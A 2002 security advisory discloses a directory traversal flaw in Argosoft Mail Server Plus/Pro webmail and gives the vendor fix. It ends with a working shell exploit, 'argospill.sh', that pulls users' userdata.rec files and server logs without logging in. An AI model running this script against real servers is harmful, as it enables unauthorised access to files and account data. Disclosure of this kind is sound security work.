Argosoft Mail Server v1.8.1.5 Plus/Pro Webmail reverse directory traversal exploit which allows an attacker to retrieve any file on the disk readable by the mail server. The freeware edition of Argosoft Mail Server is not vulnerable. Fix available here.
dbf5946533d5cfe25aafbdf397ec1795b580feaef652930b1102653a65a17aa0
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Team N.finity Security Advisory
03/07/2002
Argosoft Mail Server Plus/Pro Webmail Reverse Directory Traversal
Summary
===================
Argosoft Mail Server Pro contains a built-in HTTP server for
webmail access. Without logging in, an attacker can do a
reverse directory traversal to retrieve any file on the drive
that System can read by specifying a series of "/.." after the
path to the images of the webmail server or of the mail
attachments for a valid user.
Systems Affected
===================
Any Windows system using the webmail feature of Argosoft Mail
Server Plus / Pro <= 1.8.1.5
The freeware edition of Argosoft Mail Server is not vulnerable.
Impact
===================
An attacker can retrieve any file on the disk readable by
the mail server. The filename and relative path needs to be
specified, as directory listings are not generated. Executable
files are also not run as this is not supported by the webmail.
Explanation
===================
Argosoft Mail Server comes in three versions: Freeware, Plus,
and Pro. The Plus and Pro versions come with a build-in web
server to provide simple Webmail access to users' mail.
The webmail server does not check for reverse directory
traversal. This allows an attacker to exploit the images or
attachments directory to list the contents of files on the
drive.
Also, normally, a user will have to log into Argosoft Mail
Server Pro's webmail in order to read his mail and attachments.
However, it allows non-authenticated users to retrieve files
via the attachments URL, as long as a valid path is specified.
This can be exploited to retrieve the attachments of users in
certain conditions, or can also be reverse traversed.
While the attachments folder is deleted once the user logs out
of the webmail or after 20 minutes of inactivity, this exploit
will work even if the attachments folder is not present.
Solution
===================
The vendor has released a new version at
http://www.argosoft.com/applications/mailserver/
Acknowledgments
===================
Vulnerability discovery, exploit code, and advisory by Mayhem
of Team N.finity.
Contact Information
===================
Team N.finity can be reached by mailing to
nfinity@gmx.net.
References
===================
[1] Team N.finity
http://nfinity.yoll.net/
Disclaimer
===================
This advisory does not claim to be complete or to be usable for
any purpose. Information about the vulnerable systems may be
inaccurate or wrong. Any supplied exploits are not to be used
for malicious purposes, but for educational purposes only.
This advisory is free for open distribution in unmodified form.
Articles that are based on information from this advisory
should include link [1].
Exploit Code
===================
#!/bin/sh
#
# released on 06/07/2002 by team n.finity <nfinity@gmx.net>
# find us at http://nfinity.yoll.net/
#
# argospill.sh
HOST=$1
USER=$2
DOMAIN=$3
startpro()
{
echo -e "\nSpilling user $USER @ $DOMAIN, host $HOST (Pro)\n"
URL=/_users/$DOMAIN/$USER/_tempatt/../userdata.rec
/usr/bin/lynx -dump http://$HOST$URL
}
startplus()
{
echo -e "\nSpilling user $USER, host $HOST (Plus)\n"
URL=/$USER/_tempatt/../userdata.rec
/usr/bin/lynx -dump http://$HOST$URL
}
startboth()
{
echo -e "\nSpilling host $HOST (Plus / Pro)\n"
URL=/images/../_logs/`date -d '-1 day' +%Y-%m-%d`.txt
/usr/bin/lynx -dump http://$HOST$URL
}
usage()
{
echo -e "\nUsage:\n"
echo "Both - $0 <host>"
echo "Pro - $0 <host> <user> <domain>"
echo "Plus - $0 <host> <user>"
echo -e "\nExample:\n"
echo "Both, images dir - $0 www.test.com"
echo "Plus, no dom req - $0 www.test.com me"
echo "Pro, default dom - $0 www.test.com me _nodomain"
echo "Pro, virtual dom - $0 www.test.com me test.com"
}
echo "Argospill 1.0 by Team N.finity"
if [ -n "$HOST" ]; then
if [ -n "$USER" ]; then
if [ -n "$DOMAIN" ]; then
startpro
else
startplus
fi
else
startboth
fi
else
usage
fi
-----BEGIN PGP SIGNATURE-----
Version: PGP 7.1.1
iQA/AwUBPSKM3Dqz8mu/KmdVEQIeNQCgtpMG/HZQtgzx+iXSWAhOA+iLJWMAniJQ
d529X6ix+N9AqAekalpw66ND
=rJ5I
-----END PGP SIGNATURE-----